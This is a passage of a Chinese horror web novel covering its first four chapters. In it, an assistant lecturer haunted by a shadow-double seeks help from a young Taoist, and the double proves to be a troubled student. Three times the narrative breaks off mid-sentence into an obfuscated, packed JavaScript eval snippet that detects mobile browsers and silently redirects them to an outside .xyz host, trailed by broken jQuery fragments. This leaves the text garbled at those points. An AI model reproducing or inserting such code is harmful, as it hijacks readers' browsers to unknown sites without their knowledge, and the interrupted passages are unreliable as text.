《A市夜间安全守则[无限]》 1. 死亡之影(一) 距离死亡,还有不到24小时,而季青对此一无所知,她只知道期末考试的试卷还没出完。 本来出卷子这事轮不到她这个助教,但打工人懂得都懂,她想留在A大继续项目还得靠秦教授这个甩手掌柜。 天都蒙蒙亮了,季青还窝在出租屋的小桌旁边噼里啪啦敲着键盘,耳机里放着深夜电台陪伴加班,十分凄惨。 【A市连环失踪案受害者已达五人,据悉,每位受害者都是当月月底失踪,本月是否将出现新的受害者,本台将持续报道……】 试卷做完,她瞄了一眼屏幕右下角,6月29日,4:55,待会做完试卷还能休息两个小时再去上班。 虽然这两个小时的宝贵休息时间,她大概率也睡不着,睡眠问题已经困扰她整整一个月了。 将文档保存完毕,季青伸了个懒腰,滚到了床铺上刷着手机,享受一天中少数没有工作消息打扰的时间。 或许是现在还在凌晨的关系,常刷的关于失眠多梦的科普知识没几条,灵异怪谈的推送倒是越来越多。 但说对灵异故事不感兴趣是假的,季青对怪力乱神的故事有着奇怪的执着,甚至在好友不解的目光中毅然决然冲进了有着“怪谈之都”名号的A市。 甚至当着A大的助教老师,读的还是民俗学专业。 连她的朋友都说,她身上不发生点什么奇闻轶事,真是对不起这身配置。 刷着刷着,手机屏幕上突然出现一片噪点,季青还以为自己眼疲劳了,使劲眨下眼睛一看,屏幕上出现了一个奇怪的网页: 【连续三十天都梦到同一个“东西”的话,就会……】 ??? 季青看着新刷出来的网页标题,手指愣在了手机屏幕上,这标题看起来类似于那种“不转发给x个朋友就会倒霉”的恶意流言。 但是她真的做了快一个月内容一样的噩梦了。 本来季青并没有当回事,还以为是自己牛马当惯了,长期熬夜引起的问题,想着好好补觉兴许就不会再做梦了。 可梦不仅没有结束,内容还越来越诡异。 这个帖子简直就像是为季青量身定做的杀猪盘,季青鬼使神差点开了这个从未见过的网页论坛的帖子。 黑底白字的网页UI看得人十分难受,但季青却很快就再也挪不开眼睛。 标题:【连续三十天都梦到同一个“东西”的话,就会……】 发帖人:凝真观-清正 IP:A市发帖时间:2025年6月28日 版块:#前辈说法#民间禁忌#夜半莫谈 怪谈状态:核实存在 【如果你也连续做了很多天内容相同的噩梦,那么留给你的时间,可能已经不多了。】 【噩梦的背景通常只是日常生活的场景,但诡异的是,无论梦到哪个场景,都一定能发现场景里有一团黑影……】 【黑影的存在感很强,最初只是色块边缘偶尔闪过柔软的“触角”,但瞬间又融回黑色的本体中。】 【可随着噩梦的一次次重临,黑影也越发清晰,黑色的色块开始“收拢”,能看出大概是“站立”的形态,表面浮现出无数细密的“线条”,像某种集群的昆虫在黑暗里不停蠕动。】 看到这里,季青不自觉地从床上坐起来,紧握着手机。 她不用读到下一页就知道接下来的内容是什么,天底下竟然真有这么巧合的事?帖子里的描述和她梦见的东西完全一模一样。 她甚至可以描述得更详细,因为在她昨天做的梦里,黑影已经彻底凝实,她很确信那个黑影其实是“人”。 至少是某种“人型的东西”。 梦中的黑影已经离她足够近,近到她能够看清它的四肢和身段,以及黑暗中若隐若现的惨白皮肤和长长的黑发。 近到甚至可以听到一种极轻的“呼吸声”——不像是口鼻呼吸,而是从喉咙里溢出的空气挤压的声音。那湿冷、黏腻,带着铁锈和霉味的“呼吸声”,仿佛不是通过耳朵,而是直接钻进颅内摩擦着头骨,令人毛骨悚然。 论坛页面跳出的小字打断了季青堪称惊悚的回忆,突然出现小小的红字悬在黑白的页面之上: 【距离本日论坛关闭,还有一分钟,59、58、57……】 怎么这样的,考试结束最后一次提醒还是提前五分钟呢,网页论坛竟然只给一分钟啊!? 季青心里嘟囔着,手指却不紧不慢按下了截图键,打算待会去相册慢慢翻看,逐字细品,可屏幕上却跳出了非常不应景的窗口。 【该应用暂不支持截屏】 ……行。 预期计划一次又一次被打乱,连心理素质极强的她也忍不住焦躁起来。 季青火速将页面翻到最后,打算尽量在最后几秒看看有没有什么关键信息。 最后一页确实挺关键的,写的是:【在这个月的最后一天,被噩梦缠身的人将彻底被黑影吞噬,到时也是他的死期……】 “死期?” 季青愣了一下,才赶紧继续往下滑去。 【您访问的页面不存在】 倒计时好死不死结束了,季青难以置信地刷新着页面,可不管用流量还是WIFI甚至反复切换浏览器,论坛的网址都只会显示:“您访问的页面不存在”。 几乎与此同时,第一缕朝阳透过纱帘温柔地照在季青惨白的脸上。 季青深深呼出一口气,将手机熄屏又点亮,锁屏壁纸上显示着日期和时间:6月30日上午5:07,今天刚好就是这个月最后一天了,也是她开始做这个噩梦的一个月整。 如果那个帖子里说的事情是真的,那么按照帖子里的说法,今天就是她的死期。 她感到的不只是死亡的恐惧,还有一种生活突然被未知的东西掌控的窒息感,这种超出计划的不安让她此刻格外不爽。 她通宵赶报告没猝死;被学生的奇葩作业气到晕厥没死;田野调查失足摔进山沟也没死—— 现在轮到一个莫名其妙的诡异论坛来给她定死期? 那个东西算老几?它又不给自己发工资?! 还真能被你一个论坛上的帖子说死不成……等等! 季青重新打开电脑,找到深夜电台回放,进度条拉到最后: 【A市连环失踪案受害者已达五人,据悉,每位受害者都是当月月底失踪,本月是否将出现新的受害者,本台将持续报道……】 今天距离上一位受害者失踪,刚好三十天,而那时,季青刚好开始做噩梦…… 但即使再不爽,季青也不得不开始尝试说服自己,万一帖子说的是真的呢? 且不说帖子能将其梦境的内容描绘出来,光是这个定时消失的论坛本身就很诡异了,她,会成为这个月的失踪者吗? 季青努力回想着论坛网页上的内容,想要找到一点突破口。幸好她的记忆力很不错,哪怕做不到过目不忘,一些细节也会比常人记得更清楚。 除了季青已经亲身经历过的噩梦内容,帖子里有用的信息估计只剩正文上方的用户信息了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449118|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帖子作者的头像是一棵系着红绸的大树,和各个寺庙景区常见的那种没什么区别,昵称是凝真观-清正,IP就在A市。看起来帖子的作者应该就是本市凝真观的清正道长? 凝真观啊,总觉得好耳熟…… 暂时也想不到别的办法,季青决定死马当活马医。比起被动等死,她还是愿意先行动起来。 大清早的,季青就骑着小电驴出发了 倒不是去那个凝真观,而是先去工作的A大。 出门前季青已经做好了规划,在随身的笔记本上划掉了原本的行程,而改做了求生计划。只是计划的第一步就受到了阻碍: 她连换三个地图软件,都没能搜出一个叫凝真观的地方。 季青左思右想,觉得也可能是某个地方的曾用名,作为A大的助教老师,她很清楚A市本地民俗宗教相关的资料,在A大图书馆就有。 骑着小电驴赶往A大的季老师在等红绿灯的间隙喝了一口塞了足足五个茶包的超级续命茶。 好苦,但命比茶苦。 可惜,马不停蹄赶到学校图书馆,搬来一堆县志、访谈、老报纸的季老师,还是没能找到关于凝真观的任何资料。 季青皱着眉喝着浓缩绿茶,在笔记本上划掉了“图书馆查资料”这一项行动,心里和嘴里一样苦,不应该啊,她明明在哪里听过这个名字。 一阵喧闹声从走廊另一头的活动室传过来,打断了季青的思绪。季青估摸着应该是学生社团活动结束了,看看时间也差不多到了中午,她揉揉眉心还是决定先去文印室把试卷打出来。 天能塌,工作不能丢,职业操守这一块。 刚走到门口就听见下课的男学生在聊天: “马上就期末周了,怎么一直没看你复习,这么有把握能及格吗?” “那当然,我已经去道观里拜过了,老天保佑,这次一定能及格。” “哪个道观啊,不会是学校后面山上那个吧,那个道观你也敢去啊?” 哪个道观?季青不自觉地竖起耳朵。 “季老师中午好!” 季青正思索那两个男学生聊天的内容,思绪却突然被清脆的招呼声打断,抬头一看,是班上的女同学周晓琪路过,旁边还有同寝室的同学围着一起嬉闹,一时间“老师好”的喊声此起彼伏。 季青微微颔首,向同学们打了个招呼,看着蹦蹦跳跳离去的女学生们,露出一点欣慰的温柔微笑。 在季青的印象里,这个叫周晓琪的女同学之前一直非常孤僻。这段时间却越来越自信,这几天还把以前又长又厚、遮住眼睛的刘海梳了上去,看起来落落大方的。 真好,当初那个看到季青只会害羞地低头快步走开的女孩子,现在也能大声和她打招呼了。 学生喧闹的声音渐渐远去,季青才重新打开笔记本整理思绪,找到了方向: 刚刚的男学生说去学校后面的道观拜过了? 她突然想起来自己为什么会觉得凝真观这个名字耳熟了。 季青打开学校校园墙公众号,开始搜索关键词,在看到标题的那一刻,连见惯了各种离谱操作的季青都差点没绷住表情: 学生投稿:【学校里的七大流言之五:因为许什么愿坏什么事,所以被废弃的道观!】 就在阅读投稿文章的时候,季青耳边忽然响起一声极轻的叹息。 她猛地抬头,走廊空无一人,只有阳光安静洒落。 而在季青抬头的瞬间,她落在地上的影子,猛地缩回了“触角”…… 2. 死亡之影(二) 身为凝真观第不知道多少代传人的常岚,今天难得从寮房里出来,把门口洒扫干净,坐在院子中间的银杏树下准备接客。 他其实没看老黄历,但是他的直觉一向很准,稍微掐指一算,乾上离下,仙人指路,诸般忧愁自消灾。 通俗点来说,今天会有一位特殊的客人,或许能给他带来苦寻已久的线索。 但看到季青的时候他还是没能稳住高人风范,差点把兜里的符纸掏出来…… 为什么会有人的怨气比诡还重啊? 长期熬夜的季青,顶着浓重的黑眼圈,配上本就白皙的皮肤和长长的黑发,从院门后面冒出来的样子,给人的感觉只能用五个字形容: 大白天撞诡。 常岚忍不住想,难道上午那个来求不挂科的男同学才是贵人?不应该吧,哪有往功德箱里投硬币的贵人? 而季青则是先揉了揉疲惫的眼睛,从口袋里掏出手机查看了下时间,现在是中午12点,她已经30个小时没有睡觉了。 还能坚持,毕竟熬夜是顶级社畜的基本功。 季青的目光掠过常岚,径直落在院子里。 道观小巧简朴,一眼就可以看清全貌,院子正中种着一棵挂着红绸、郁郁葱葱的大银杏树。看到银杏树的样子和论坛帖子的作者头像一模一样,季青才终于稍稍松下一口气。 现在只要找到清正道长就行了,但乍一看道观里只有一个傻站在树下的大学生啊? 对方浓眉大眼的,五官倒是端正,可修剪的略显凌乱的头发、随意的着装、手上拿的手机还吊着可爱的挂绳,看起来和A大里的普通男同学根本没有两样。 总觉得这个男生应该跟上午遇见的同学一样,是来求保佑期末不挂科的吧,季青有点想提醒他:这个道观在学校论坛上都已经是怪谈级别的了。 常岚看到季青思索的神情,悄悄把符纸塞回兜里…… 秉着往来皆是客的生意经,他还是利索地收拾好石桌,顶着脑袋上的银杏叶,规规矩矩向季青行了个礼: “这位善信,敬香祈福往正殿,喝茶休息往客堂,问卜算卦做法事直接咨询我即可,价格透明、一价全包、绝无额外费用、童叟无欺!” …… 季青看着从男同学,不,应该是小道士头顶悠悠落下的银杏叶,想着要不自己还是回家睡觉吧? 不过来都来了,季青还是抱着一丝希望坐在石桌旁,端着常岚刚刚给自己倒的茶水,礼貌询问:“请问清正道长今天在不在道观里?” 常岚回答得很干脆:“不在。” 季青不信邪地追问:“那清正道长什么时候回来?” 常岚露出一副“我也很想知道”的样子,耸耸肩说:“师父三年前外出云游,至今音讯全无。” 闻言,季青最后一丝力气也仿佛被抽走,她颓然坐到石凳上,端起常岚刚倒的茶,一饮而尽。 这股清冽的茶水倒是意外地抚慰了她紧绷的神经,还她灵台一刹清明。 常岚看着季青,目光最终落在了她脚边那片比常人浓重许多、边缘甚至有点模糊的影子上,眼神锐利起来。 他晃动着自己杯里的茶叶,一改之前随意的语气,认真地说:“有道是无事不登玄都观,这位善信,你带来的‘东西’,比你本人看起来有活力多了。” 这个小道士能看得出来?季青重新抬起头来望向常岚。 她这才发现,这位小道士的虹膜比一般人要黑得多,简直分不清虹膜和瞳孔的边界,阳光落在上面,显得眼神很亮很亮,让人能清晰感到他的专注和执着。 常岚不再多言,指间蘸了点杯中清茶,随手朝季青的影子弹去! 水滴落处,季青的影子竟然像什么坏掉的东西一样,产生了老式电视机上一样的噪点,边缘的线条受惊一样飞速变换着形状。 和自己噩梦那团黑影最初的样子简直完全一致! 季青站起来,徒劳地想要远离自己的影子,却因长时间的疲惫踉跄了一下。小道士扶了季青一把,善意地挡住她看向影子的视线,漆黑的眼眸望向季青,说道: “我师父已经杳无音信三年,我多方打听都没有收获,你是从哪里得到他和凝真观的消息?” 季青望着蠢蠢欲动的黑影,叹了一口气从实招来,将近期连续的噩梦、发现论坛帖子、循着线索上山等事全部和盘托出。 听完季青离奇的经历,常岚表面不动声色,内心却已翻江倒海: 贵人,果然是贵人啊! 他强压内心的激动,正色道:“师父说仙道贵生,无量度人,既然你有危险,还因为师父的帖子找到了凝真观,那我一定不会坐视不理。” 常岚顿了顿,举起两根手指,语气又变得随意活泼,甚至有点市侩:“委托法事二两银子一次,价格随今日银价变动,当场结账,概不赊欠。” 季青面无表情地点开手机:“微信还是支付宝?” 加上微信付完款,季青的表情还是有点难看,小道士挠挠头解释:“价格可不是我定的,这是规矩,包售后的绝对超值,不然就不会让你加微信了……” 季青面无表情地补充:“道长你误会了,我不是嫌贵……是想到自己的命居然才值不到一千块,感觉这辈子有点完蛋了。” “停停停!我都好久没听到别人叫我道长了。”常岚尴尬地摆摆手,“我们现在是纯洁的金钱关系,你可以叫我的名字,我叫常岚。” 季青低头看了一眼常岚的微信名,居然就是常岚,又抬头看看常岚那张正气的脸,好朴实的人,这年头居然还实名上网。 倒像是他做得出来的事。 黑下去的屏幕倒映出季青不太好的脸色,她抬头把对话拉入正题:“常岚,你师父的帖子里说连续做梦一个月就会被黑影吞噬,我已经连续做了三十天梦了,今天可能就是我的死期了。” 常岚点点头:“看你的影子就知道了,这种东西师父也曾经跟我提到过,叫作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449119|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叠影,不爱见光,平时躲在你的影子里,依靠吞噬人的意识成长。你身上这只……已经快要‘成熟’了。” 常岚给季青又倒了一杯茶,自己去做一点降妖除魔的准备。季青反而冷静下来,从随身的包里掏出笔记本摊在石桌上。 过一会常岚提着自己的剑回来,就看见死期将至的季青还在本子上写着什么,好奇地凑过来问。 季青把挡在眼前的碎发用左手别在耳后,右手仍然没停,头也没抬,答道:“写遗书。” 笔记本上详细列出了资产清单、紧急联系人、捐赠方式等等细节,格式整齐,配合季青那工整到像印刷出来的字体,不像遗书,像遗嘱。 “写遗书?”常岚疑惑地说:“继承你停在门口的小电驴吗?” “嗯,”季青认真地在遗书里添上小电驴,“你提醒我了,我的财产不多,这个电驴也得加进去。” 常岚看季青这样,才反应过来她是认真的。对常岚来说,这次只是和往常一般无二的除妖工作,但对从未真正直面这些鬼怪的季青来说,却是生死攸关的事。 常岚在旁边的石凳坐下,挠挠头对季青道歉:“我不是调侃你的意思,我想说的是,暂时没有必要考虑遗书的事情,你可以更信任我一点,我绝对不会让你的小电驴这么快易主的,我保证。” 季青这才抬起头来,恰巧有风吹过。 “你头上又落叶子了。” “……又?” 季青着了一眼手忙脚乱拍着自己脑袋找树叶的常岚,又把视线转向自己的影子。 正如常岚所说,藏在自己影子里的东西已经蠢蠢欲动,她能感受到那股阴冷的凉气从影子攀上脚踝。 已经等不及了是吗? 季青划掉笔记本中大大的“噩梦”标题,接着“啪”一下合上笔记本,对常岚说:“我有点困了,现在睡觉没关系吧?” 常岚点点头,露出一个轻松的微笑,说道:“睡吧,我已经向你保证过了,所以一定会没事的,你就在梦里等我,三分钟就好。” 季青趴在石桌上,清风微微拂过,道观檐角的铃铛叮铃作响,季青合上眼睛,等待噩梦的降临。 等季青的呼吸平稳之后,常岚漆黑的瞳仁微微一动,轻轻一抬手,七星剑就从剑鞘里飞出,狠狠扎在了季青的影子上,影子霎时间发出尖利的惨叫! 常岚好像没听见似的,垂着眼睛,静静看着黑影急速变换形状,每当黑影要离开原来的位置时,都会被常岚狠狠一脚踩回去。 无处可逃的叠影最终放弃了逃跑,转而化作浓重的黑雾从破口出喷涌而出,朝常岚扑去,常岚却面不改色,静静等待着叠影将他吞入黑暗。 凝真观内重归宁静,只剩银杏树摇动的沙沙声,可进入梦境的季青用力捂住自己的嘴,才没有发出尖叫。此时黑影紧贴她的脸,正如帖子中所说的,今天她不得不看清了黑影的脸—— 那惨白的、挂着诡异微笑的脸,正是季青自己。 3. 死亡之影(三) 毫无疑问,这就是季青每天照镜子时会看到的脸,只是诡异的表情扭曲了清秀的五官,让本来气质淡雅疏离的面容变得鬼气森森。 与此同时,季青也终于听懂了叠影每晚从喉咙里挤出的呢喃是什么: “只能……有一个……” 叠影露出了季青平日里面对学生时温柔的标志性微笑,眼睛却像两口深不见底的黑井,里面翻滚着纯粹的恶意和一种近乎扭曲的兴奋。 “三十天……”她的音调转变调整着,忽高忽低,直到和季青的音色语调也别无二致,“我不断地观察学习,直到能够完美成为你。” 季青看着她逐渐逼近自己的脸,叠影深深吸了一口气,声音里充满了陶醉,“你的一切,我都已经熟悉,而你的生活,从此将由我接管。” “是吗?”季青眉眼弯弯,也露出一个标志性的温柔微笑,眼神却冷静异常,“那你怎么还不动手呢?” 季青的微笑和反问像一根冰冷的针,猝不及防地刺入叠影那沸腾的恶意与自信之中。 叠影脸上那属于季青的、模仿得惟妙惟肖的温柔笑容瞬间僵住。那扭曲的兴奋像被风吹动的烛火,剧烈地摇曳了一下,掺杂进一丝愕然。 她似乎没料到猎物会在这个时候反问,甚至于了……带着一种无所畏惧的了然,她显然还不够了解季青。 “动手?”叠影的音调无法再完美复制季青的声线,如同录音失真般的女声涌现上来,透出一种被冒犯的阴冷,“你急着求死?” 季青没有后退,甚至向前微微倾了倾身,目光落在叠影那双无光的眼睛里,仿佛要看清那井底到底藏着什么。“不,”她轻声说,语气甚至带上了一点课堂上引导学生思考时的循循善诱: “我只是好奇。你说你学会了‘一切’,熟悉了‘一切’,那为什么还在和我说话?明明我已经找到了帮手,而他不知道什么时候就会找来祛除你。” “那你为什么,宁愿冒着被发现的风险,也不立刻杀死我,来完成最后的‘替代’?” 季青顿了顿,嘴角的弧度不变,眼神却锐利得像能剖开表象。 “只能有一个……”季青重复了一遍叠影之前的呢喃,每个字都咬得清晰无比,“这句话,到底是在威胁我,还是在提醒你自己?” 叠影周身的阴影开始不自然地蠕动,她脸上那僵硬的笑容彻底消失了,取而代之的是一种被戳破秘密的、极致的阴沉,空气似乎都变得更加粘稠冰冷。 叠影突然再次微笑起来,但这次的微笑显然极为勉强,嘴角的弧度被拉伸到人类肌肉的极限,像是被强行扯起嘴角的木偶,面皮几乎要裂开—— 她发出一声冷笑:“季老师,平时的你,倒是没有这么多话呢。”话音刚落,叠影融化进无边的黑暗里,空间开始变得扭曲摇晃,似乎要将人吞噬殆尽。 叠影要动手了,季青的心跳在胸腔里沉重地擂动,她强迫自己冷静下来默默数数,177、178、179、180! “天地自然,秽炁分散。洞中玄虚,晃朗太元!” 一声清朗的敕令如同利剑般刺破粘稠的黑暗,伴随着神咒,一道金光骤然亮起,如同破晓的第一缕阳光,强势地撕开了即将闭合的扭曲空间,常岚及时在空间将季青彻底吞噬之前,破开黑暗抓住了季青的袖子。 待二人被黑暗吞没,整个空间最后的虚无感彻底消失。四周的景象好像被打翻的调色盘,所有的线条和色彩都模糊、滴落、重新混合,最终凝固成季青熟悉不过的模样: 他们正身处A大教学楼的走廊。 季青拍了拍常岚紧紧抓着自己袖子的手,示意可以放开了,半开玩笑地说:“好准时啊常道长,说好三分钟,就在第180秒到,一秒都不差的。” 常岚显然也是个心大的,朝自己竖起大拇指:“那我就权当季老师在夸我守时了。” “你怎么知道我是老师?我好像没告诉过你吧。”季青站定,打量起四周,得,就看见常岚指了指走廊左手边的墙壁,上面正挂着学院导师介绍,底下还有季青这个助教的小小面板。 季青把目光从自己的照片上挪开,慢慢后退看整块介绍板,上面所有导师的脸都被涂黑,只有季青的部分幸存,难怪常岚能一眼找到她。 “这里不是现实世界,而是叠影根据它所见的部分创造出来的幻境。”常岚语气沉了下来: “叠影在三十天后会将被模仿的宿主拉入这个幻境,我称之为影域。影域会持续影响宿主的感知,一旦在影域里待的太久,就会迷失自我,和叠影完成身份的互换,永远留在这里。” 难怪当时叠影露怯了,季青思索着,常岚的话印证了她的猜测——这个“替代”过程,有着叠影必须遵循的、某种内在的规则或限制。 直接杀掉季青,并不符合“完美替代”的条件。 ……可是? 季青重新站到导师介绍表前思索着,叠影没有现身的意思,显然是想让影域持续影响她的感知,等她逐渐迷失自我后,不费吹灰之力就取而代之。 那就更不能坐以待毙了。 季青扭头问常岚:“幻境里的东西能碰吗?”常岚点点头,解释道:“理论上这些都是一比一复刻叠影最熟悉的日常环境,碰一下不会有什么问题。” “最熟悉的日常环境?可为什么是教学楼?我应该待在图书馆或者家里更多……”季青嘟囔着,伸手抚摸着介绍表上自己的铭牌,“其他人的铭牌都被涂掉,唯独我的留着,这么宝贝的东西,叠影应该不会眼睁睁看着我拿走吧。” 常岚似乎是明白了季青的意思,剑尖点地随意画了个圈,“摘吧,叠影估计会千方百计阻止你,但是没关系。” 靠谱的小道士指了指头顶,“吕祖在上,我拿钱办事,信誉超群,今天指定给季老师一根毫毛不少地送出去。” 季青紧张地咽了口唾沫,指尖微微用力,指甲嵌进介绍表和铭牌间的空隙,准备把铭牌抠下来。 “不许碰,我的东西……!” 耳边突然传来叠影的尖啸,声音嘈杂分外难听,像是几个人不同的音色重合在一起。似乎连幻境都受到了影响,走廊摇晃起来,顶上的天花板碎裂,化作黑泥噼里啪啦砸落下来。 还没使劲抠呢!炸毛也太快了吧! 走廊的震动没有影响到季青,季青心一横,用力把铭牌往外扯。可铭牌像是被什么东西粘住了,越使劲,叠影的惨叫就越凄厉,直到铭牌下方渗出红到发黑的血来。 很快叠影就忍不住现身,高举着一把美工刀就砍向季青的手腕,季青不得不回收手退到一边,但叠影没能再靠近半分。 常岚抬手架着七星剑横在季青和叠影中间,翻了个白眼,小小揶揄一句:“是你的东西吗,动一下就这么生气。”接着抬起另一只手,中指扣住拇指,看似轻松随意地对准叠影额头一弹。 “咚!” 先是一声轻微的、仿佛气爆的脆响,并无什么咒文符光闪耀,紧接着却有一股无形的刚猛劲力骤然爆发,将叠影重重拍到走廊对面! 受惊的叠影化作黑雾四处逃窜,被碰到的走廊墙壁都纷纷崩塌,化作灰烬。 走廊显然已经无处落脚,季青倒没忘记旁边就是教职工大办公室,招呼着常岚赶紧过来。两人手忙脚乱几乎同时挤进办公室,常岚反手砰地一声将门甩上,还不忘顺手拖过旁边的工位桌将门抵住。 叠影暴躁的声音徘徊在门口,季青透过窗户看见走廊已经完全崩塌殆尽,看样子似乎不太可能再取一次自己的铭牌。 可能是刚刚太紧张,一下松懈下来季青就感觉有些头晕,她环视办公室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449120|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。办公室里处处都是被黑影污染的痕迹,墙面上用粗糙的笔画涂着黑色的叉,连桌面也滴落着黑色的液体,唯独自己的工位的方向还算干净整洁。 季青坐回自己的工位,按照以往的习惯,拿出抽屉里的笔记本和钢笔开始思索。 可看着抵住办公室大门的常岚一脸轻松,季青突然停下思考开口:“常道长,你刚刚要是干脆一剑劈死叠影,我们现在是不是已经出去了?” 常岚还能抽出一只手挠挠头,一脸天真地回答道:“我是直觉派的,那个叠影……我感觉她身上的气和这个幻境的来源并不相通,似乎不是这件事情的元凶,就算劈死她,事情也没法解决。” 季青拿着钢笔,轻轻点在笔记本光洁的纸面上,她手撑着下巴,环顾四周,其他老师的工位都像教职工介绍表一样,被黑色的杂质污染的乱七八糟,唯独季青的工位依然干净整洁。 “那我就是理性派的,”季青在笔记本上写写画画,“常岚,你说过,在这个影域,被叠影盯上的宿主会逐渐迷失自我,然后才能被叠影取而代之对吧。” 得到肯定的答复之后,季青在笔记本上重重划了一笔,说道:“那更奇怪了,无论是门口的教职工介绍表,还是这个大办公室,处处都是我的痕迹,倒像是在反复提醒我不要忘记一样啊。” 如果想要让季青迷失,那么更应该把季青本人的信息藏起来才对,但叠影似乎很宝贝属于季青的东西。 “除非……”理清思路的季青合上笔记本,开始在桌上翻找起什么,“除非,想要让人忘记什么,最好的方法,就是替代她!” 常岚作势要松开抵门的桌子,问道:“你要找什么,我能帮忙吗?” “找班上同学的信息表,东西放在哪我都很熟,已经翻到这一摞了,自己来就行,你先好好把门抵住。”季青的手一边飞快翻动着,一边解释给常岚听: “如你所说,我猜这个叠影一定不是本体,而是已经迷失自我的人!真正的叠影让她夺取我的身份,忘记她自己的身份,就达成了让假叠影迷失自我,然后由真叠影取而代之的目的!” “看样子只有想办法将真正的叠影逼出来,我们才能解决掉它!” 至于被真正的叠影欺骗的那个人是谁,季青心里也有猜测。她一直觉得这个叠影破防时暴露出的本音一定在哪里听过,而且就在不久前! 在这摞学生档案表里,季青一下就找到了独独被黑影污染的那份,抽出来一看,果然就是她。 门口的叠影越发狂躁,连抵住门的桌子都被摇晃到要散架,常岚和季青交换过眼神后,一把扯开桌子。 叠影撞开门迫不及待地冲向季青,季青把手伸得笔直,将一张学生档案表举到嘶吼着的叠影面前,大喊: “快点想起来,想起来你是谁!” 叠影的攻击骤然停止。 那张扭曲的、和季青一模一样的脸上,第一次出现了季青不会露出的表情——那是一种脆弱的愕然与困惑,她的目光死死盯住了档案表上模糊的名字。 空气仿佛凝固了,季青甚至能清晰地听到自己心脏狂跳的声音—— 一个干涩、嘶哑,仿佛很久未曾说话的声音,从叠影的喉咙里艰难地挤了出来。 “周……晓琪……” 伴随着嘶哑的声音,从喉头涌出的还有源源不断的、化作粘稠黑色液体的黑影,这些黑影仿佛绞杀树木的藤蔓一样纠缠着脆弱的身躯。 叠影痛苦地撕扯着黑影,像想要摆脱什么一样挥舞着手臂。 季青心一横,往前走去,想要抓住叠影的手臂,将她从黑影中拉出来,可在接触到叠影手臂的一瞬间,黑影冲天而起,将季青也包裹其中! 黑影在二人间纠缠着,一段不属于季青的记忆通过黑影被灌入她的脑海…… 4. 死亡之影(四) 你有过讨厌自己的时候吗? 一定会有的吧,至少周晓琪是这么想的。 也许是厌恶自己面对困难时的无能、也许是恐惧自己羞于展示给他人的伤疤、也许是反感自己难以抑制的情感…… 也许讨厌自己,根本不需要理由。 周晓琪总是觉得,这个世界过于明亮了,明亮到大家的笑容都熠熠生辉,而自己则无处可藏。 连上晚自习的时候,教室的灯管都刚好在周晓琪的头顶,灯管的亮光通过手机屏幕反射过来,差点晃到眼睛。周围同学们窃窃的谈笑声像隔着一层厚厚的毛玻璃,模糊又遥远。 她下意识地又低下头,让那层熟悉的、厚重的刘海像窗帘一样垂下来,将她与这个过于喧嚣的世界安全地隔离。 这是她保持了十几年的习惯性姿势——降低自己的存在感,仿佛这样就不会被人看见,不会被人点评,也就不会受伤。 周晓琪低头打开手机,班级群里正有同学在发今天下午读书会活动的照片,她把照片放大,轻松找到了站在角落里微笑的季青。 她凝视着照片中的季青:嘴角微笑的弧度、眼中自信的神采、清瘦但挺拔的身姿…… 周晓琪是什么时候开始注意季青的呢?也许是作业得了A被季老师夸奖的时候?也许是季老师在她生病时送她去校外就医的时候?也许是更早以前,开学第一课上季老师站在讲台上向大家露出温柔微笑的时候? 也许关注一个人,也根本不需要理由。 季青老师那样的人,好像从来没有刻意吸引谁的关注,却能时刻保持自信和从容。她看起来聪明、稳重、气质淡雅,仿佛任何时候都知道自己该做什么。 那是周晓琪偷偷羡慕、却从未奢望能拥有的样子。 那种感觉又上来了,很难过又很难说。 像是要把苦恼赶走一样,周晓琪机械地刷着各个娱乐软件。 【如果连续三十天梦到同一个人的话,就会……】 屏幕上大大的黑底白字跳入眼帘,看起来像是某种荒谬的都市怪谈,好奇心驱使着周晓琪点了进去。 标题:【如果连续三十天梦到同一个人的话,就会……】 发帖人:佚名 IP:A市发帖时间:2025年5月31日 板块:#助眠好物#真诚分享#推给有缘人#十块钱买不了吃亏上当 怪谈状态:核实存在 【你有没有仰慕过谁,甚至渴望过成为另一个人呢?只需要一个小小的仪式,就可以在睡梦中悄悄改变,向理想中的ta靠近。】 【只需要一份特质的香薰,与你想要成为的那个ta的头发一起点燃,然后入睡即可。只需一晚,效果立竿见影。】 【点击下方链接,购买特制香薰蜡烛,即可……】 ……周晓琪翻了个白眼默默关掉论坛网页,这分明就是某种打着灵异幌子的推销广告吧。 晚自习恰好结束,其他的几位室友要去校外找隔壁学校的朋友玩,周晓琪以不喜欢热闹为由婉拒了室友们,自己背起包一个人走回寝室。 